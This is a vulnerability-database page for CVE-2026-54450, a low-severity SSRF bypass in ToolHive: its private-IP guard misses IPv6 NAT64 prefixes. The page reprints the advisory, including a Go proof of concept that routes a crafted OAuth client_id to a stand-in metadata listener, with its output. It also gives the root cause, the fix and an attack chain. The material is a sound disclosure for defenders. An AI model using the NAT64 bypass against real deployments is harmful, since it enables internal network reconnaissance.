Skip to main content

ToolHive CVE-2026-54450

LOW
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-15 https://github.com/stacklok/toolhive GHSA-pph6-vfjv-vpjw

Severity by source

vuln.today AI
3.7 LOW

Network-reachable OAuth endpoint requires no authentication (PR:N), but NAT64/DNS64 deployment topology is a non-default prerequisite (AC:H); impact limited to blind internal reachability probing (C:L), with no integrity or availability impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Estimated by vuln.today — no official severity rating has been published for this CVE yet.

Lifecycle Timeline

2
Source Code Evidence Fetched
Jul 15, 2026 - 22:16 vuln.today
Analysis Generated
Jul 15, 2026 - 22:16 vuln.today

DescriptionCVE.org

Summary

ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address ranges - the well-known prefix 64:ff9b::/96 (RFC 6052) and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as 64:ff9b:1::a9fe:a9fe - the NAT64 encoding of the link-local cloud metadata address 169.254.169.254 - is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) - see Impact.

The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents client_id=https://<attacker-domain>/path, and CIMDStorageDecorator.GetClient fetches that URL through the same guard. The same IsPrivateIP table is also shared by the protectedDialerControl HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (pkg/skills/gitresolver), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected - it enforces only the HTTPS scheme via ValidatingTransport and performs no IP-based check.)

Details

pkg/networking/utilities.go builds a privateIPBlocks table and IsPrivateIP:

go
func init() {
	for _, cidr := range []string{
		"127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
		"169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7",
		"100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24",
		"224.0.0.0/4", "ff00::/8",
	} { /* ... append to privateIPBlocks ... */ }
}

func IsPrivateIP(ip net.IP) bool {
	if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {
		return true
	}
	for _, block := range privateIPBlocks {
		if block.Contains(ip) {
			return true
		}
	}
	return false
}

The table contains no entry for 64:ff9b::/96 or 64:ff9b:1::/48. A NAT64 address is a normal global-unicast IPv6 address: net.IP.IsGlobalUnicast() returns true and it matches none of the listed blocks, so IsPrivateIP returns false.

The CIMD fetcher (pkg/oauthproto/cimd/fetch.go, newCIMDHTTPClient) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:

go
ips, err := net.DefaultResolver.LookupHost(ctx, host)
// ...
for _, ipStr := range ips {
	ip := net.ParseIP(ipStr)
	// ...
	if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
		return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
	}
	dialer := &net.Dialer{Timeout: 5 * time.Second}
	return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))
}

Because IsPrivateIP(64:ff9b:1::a9fe:a9fe) is false, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to 169.254.169.254.

Trust boundary: the CIMD URL originates from the client_id of an external OAuth client at authorize/token time (CIMDStorageDecorator.GetClientIsClientIDMetadataDocumentURL(id)cimd.FetchClientMetadataDocument(ctx, id)), so it is fully attacker-controlled. The protectedDialerControl HTTP clients used for registry, OIDC discovery, and token introspection (pkg/networking/http_client.goAddressReferencesPrivateIpIsPrivateIP) and the skills git-clone host check (pkg/skills/gitresolver/reference.go validateHostIsPrivateIP) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.

Note that ::ffff:169.254.169.254 (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.

Affected

  • Module: github.com/stacklok/toolhive
  • Affected packages/paths: pkg/networking/utilities.go (IsPrivateIP), reached via pkg/oauthproto/cimd/fetch.go (FetchClientMetadataDocument, CIMD authorization-server path - the attacker-controlled entry point), pkg/networking/http_client.go (protectedDialerControl, used by the registry / OIDC-discovery / token-introspection clients), and pkg/skills/gitresolver/reference.go (validateHost, skills git-clone host check). The webhook client (pkg/webhook) is not affected: it validates only the HTTPS scheme and performs no IsPrivateIP check.
  • Affected versions: all releases through v0.29.0 (the IsPrivateIP table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).
  • Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.

Proof of Concept

The following self-contained Go program imports ToolHive v0.29.0 (commit 570ce07013b72208fcae339e9492f5867a1af994) and exercises the real guard code: the exported networking.IsPrivateIP, the exported oauthproto.IsClientIDMetadataDocumentURL predicate that routes a client_id into the CIMD fetch path, and the CIMD dialer gate copied verbatim from pkg/oauthproto/cimd/fetch.go. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) - the security decision is made entirely by ToolHive's own code.

go.mod:

module poc

go 1.26

require github.com/stacklok/toolhive v0.29.0

main.go:

go
package main

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"net/http/httptest"
	"strings"
	"time"

	"github.com/stacklok/toolhive/pkg/networking"
	"github.com/stacklok/toolhive/pkg/oauthproto"
	"github.com/stacklok/toolhive/pkg/oauthproto/cimd"
)

var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)

const (
	attackerHost = "cimd-attacker.example"
	natLocalUse  = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254
)

func main() {
	// Part A: real classifier on NAT64 vs private addresses.
	for _, s := range []string{
		natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1",
		"169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34",
	} {
		ip := net.ParseIP(s)
		fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip))
	}

	// Control listener standing in for the IMDS reachable behind NAT64.
	hit := make(chan string, 1)
	imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		hit <- r.Host + r.URL.Path
		fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`)
	}))
	defer imds.Close()
	ctrlAddr := strings.TrimPrefix(imds.URL, "http://")

	clientID := "https://" + attackerHost + "/.well-known/oauth-client"
	fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))

	// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,
	// with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.
	transport := &http.Transport{DisableKeepAlives: true,
		DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
			host, _, _ := net.SplitHostPort(address)
			var ips []string
			if host == attackerHost {
				ips = []string{natLocalUse} // DNS64 synthesis
			} else {
				ips, _ = net.DefaultResolver.LookupHost(ctx, host)
			}
			for _, ipStr := range ips {
				ip := net.ParseIP(ipStr)
				if ip == nil {
					continue
				}
				if !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate
					return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
				}
				fmt.Printf("[guard] %s passed IsPrivateIP gate -> dialing\n", ipStr)
				return (&net.Dialer{}).DialContext(ctx, "tcp", ctrlAddr) // NAT64 gateway
			}
			return nil, fmt.Errorf("cimd: no valid address for %q", host)
		}}
	client := &http.Client{Timeout: 5 * time.Second, Transport: transport}
	req, _ := http.NewRequest("GET", "http://"+attackerHost+"/.well-known/oauth-client", nil)
	if _, err := client.Do(req); err != nil {
		fmt.Println("blocked:", err)
		return
	}
	fmt.Printf("control listener received: %s  => SSRF via %s\n", <-hit, natLocalUse)

	// Negative control: a genuinely private IP is rejected by the same gate.
	neg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {
		ip := net.ParseIP("169.254.169.254")
		if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
			return nil, fmt.Errorf("cimd: refusing connection to private address %s", ip)
		}
		return nil, fmt.Errorf("would dial (NOT blocked)")
	}}}
	_, nerr := neg.Do(req)
	fmt.Println("negative control (169.254.169.254):", nerr)
}

Output:

IsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false
IsPrivateIP(64:ff9b::a9fe:a9fe    ) = false
IsPrivateIP(64:ff9b::7f00:1       ) = false
IsPrivateIP(169.254.169.254       ) = true
IsPrivateIP(::ffff:169.254.169.254) = true
IsPrivateIP(10.0.0.1              ) = true
IsPrivateIP(93.184.216.34         ) = false
IsClientIDMetadataDocumentURL("https://cimd-attacker.example/.well-known/oauth-client") = true
[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing
control listener received: cimd-attacker.example/.well-known/oauth-client  => SSRF via 64:ff9b:1::a9fe:a9fe
negative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254

The attacker-controlled client_id host (NAT64-resolved) passes the real IsPrivateIP gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.

Impact

Server-Side Request Forgery (CWE-918), Low. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block - RFC1918, loopback, and the link-local metadata address 169.254.169.254 (encoded as 64:ff9b::a9fe:a9fe / 64:ff9b:1::a9fe:a9fe).

The practical effect is a blind internal-reachability / SSRF oracle, not data or credential exfiltration. On the only fully attacker-controlled entry point - the CIMD fetcher - three constraints bound the impact:

  • HTTPS-only. validateCIMDClientURL rejects non-loopback http://, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on 169.254.169.254) serve plain HTTP on port 80, so a TLS connection cannot retrieve metadata credentials.
  • TLS certificate verification. newCIMDHTTPClient sets no custom TLSClientConfig; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.
  • No response reflection. A fetched document must satisfy ValidateClientMetadataDocument (its client_id must equal the fetched URL) and the body is never returned to the attacker.

What remains is the ability to probe whether an internal host:port accepts a TCP/TLS connection (via success/timing differences) - internal network reconnaissance, not credential theft.

Reachable via:

  • the embedded OAuth authorization server CIMD path - client_id URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;
  • the registry / OIDC-discovery / token-introspection HTTP clients that share IsPrivateIP via protectedDialerControl - but those destinations are operator-configured, not attacker-controlled;
  • the skills git-clone host check (pkg/skills/gitresolver validateHost) - likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).

Exploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.

Root cause

networking.IsPrivateIP relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (64:ff9b::<v4> and 64:ff9b:1::<v4>) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address - but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the IsGlobalUnicast/IsLinkLocalUnicast checks.

Fix

Add the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add 64:ff9b::/96 and 64:ff9b:1::/48 to privateIPBlocks in pkg/networking/utilities.go; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that 64:ff9b::8.8.8.8 (a NAT64 path to a genuinely public host) is not over-blocked while 64:ff9b:1::a9fe:a9fe is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known 64:ff9b::/96 and the 64:ff9b:1::/96 sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use 64:ff9b:1::/48 may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that /48 is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.

As bundled defense-in-depth, the same patch also classifies a few special-use ranges that IsPrivateIP previously missed: 0.0.0.0/8 (RFC 1122 "this host") and the unspecified address (0.0.0.0 / ::), plus 240.0.0.0/4 (RFC 1112 reserved, including the 255.255.255.255 broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 2002::/16, Teredo 2001::/32, IPv4-compatible ::/96), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.

Resources

  • RFC 6052 - IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix 64:ff9b::/96)
  • RFC 8215 - Local-Use IPv4/IPv6 Translation Prefix (64:ff9b:1::/48)
  • RFC 6147 - DNS64
  • CWE-918 - Server-Side Request Forgery (SSRF)
  • ToolHive v0.29.0, commit 570ce07013b72208fcae339e9492f5867a1af994

AnalysisAI

ToolHive's hand-maintained SSRF guard (networking.IsPrivateIP) omits IPv6 NAT64 prefixes 64:ff9b::/96 (RFC 6052) and 64:ff9b:1::/48 (RFC 8215), allowing addresses like 64:ff9b:1::a9fe:a9fe - the NAT64 encoding of the cloud metadata endpoint 169.254.169.254 - to be misclassified as globally routable and pass unchecked. On ToolHive deployments behind a NAT64/DNS64 gateway (the default in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an unauthenticated attacker can submit a crafted OAuth client_id URL that causes ToolHive's CIMD fetcher to dial internal or link-local addresses the guard is intended to block, achieving a blind internal-reachability oracle. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Initiate OAuth flow with crafted client_id URL
Delivery
DNS64 synthesizes NAT64 AAAA record for attacker host
Exploit
CIMD fetcher resolves host to NAT64 IPv6 address
Install
IsPrivateIP returns false, guard bypassed
C2
ToolHive dials NAT64 address
Execute
NAT64 gateway translates to internal IPv4 TCP connection
Impact
Infer internal reachability via TCP/TLS success or failure

Vulnerability AssessmentAI

Exploitation Full exploitability requires the ToolHive process to run in a network with an active NAT64/DNS64 gateway - specifically IPv6-only Kubernetes clusters or IPv6-only cloud environments where DNS64 synthesizes AAAA NAT64 records for IPv4-only destinations; standard dual-stack or IPv4-only deployments have no exploitable path via the attacker-controlled CIMD entry point. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No official NVD/CVSS score has been assigned to this CVE at time of analysis; the vendor advisory self-rates impact as Low, which is well-supported by the described constraints. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker operating an external domain configures its DNS to return a AAAA record for `attacker.example` synthesized by a DNS64 server as `64:ff9b:1::a9fe:a9fe` (the NAT64 encoding of `169.254.169.254`). Without prior registration, the attacker initiates an OAuth authorization flow against a ToolHive deployment in an IPv6-only Kubernetes cluster, presenting `client_id=https://attacker.example/.well-known/oauth-client`. …
Remediation Upgrade to ToolHive v0.29.1, which adds `64:ff9b::/96` and `64:ff9b:1::/48` to the `privateIPBlocks` table in `pkg/networking/utilities.go` and implements embedded-IPv4 decoding so that NAT64 addresses wrapping genuinely public IPv4 hosts (e.g., `64:ff9b::8.8.8.8`) are not over-blocked while NAT64 addresses encoding private or link-local IPv4 targets are correctly rejected. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

CVE-2026-25996 CRITICAL POC
9.8 Feb 12

String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter

Share

CVE-2026-54450 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy